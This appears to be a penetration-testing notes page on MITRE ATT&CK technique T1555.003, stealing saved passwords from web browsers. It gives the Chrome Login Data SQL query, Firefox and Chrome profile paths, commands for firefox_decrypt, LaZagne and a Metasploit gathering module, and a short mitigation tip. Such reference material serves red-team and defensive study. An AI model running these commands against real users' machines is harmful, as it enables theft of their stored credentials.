Credentials from Web Browsers

https://attack.mitre.org/techniques/T1555/003/

ATT&CK ID: T1555.003

Permissions Required: User

Description

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.[1] Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.[2]

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.[3][4] Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.[5]

Techniques

Firefox

Firefox Profile Locations

# Linux
/home/<Username>/.mozilla/firefox/xxxx.default

# MacOS
/Users/<Username>/Library/Application\ Support/Firefox/Profiles/xxxx.default'

# Windows
C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxx.default

Firefox_decrypt

Github: https://github.com/unode/firefox_decrypt

python3 firefox_decrypt.py <ProfileFolder>

LaZagne

laZagne.exe browsers browsers

Google Chrome

Chrome Profile Location

# Linux
/home/<Username>/.config/google-chrome/default

# MacOS
Users/<Username>/Library/Application Support/Google/Chrome/Default

# Windows
C:\Users\<Username>\AppData\Local\Google\Chrome\User Data\Default

LaZagne

laZagne.exe browsers browsers

Metasploit

use post/windows/gather/enum_chrome

After completion, open the decrypted data file as mentioned by Metasploit.

Mitigation

Disable password manager in multiple browsers

Dashlane have an excellent article on methods to disable the password manager for multiple browsers via Group Policy.

Last updated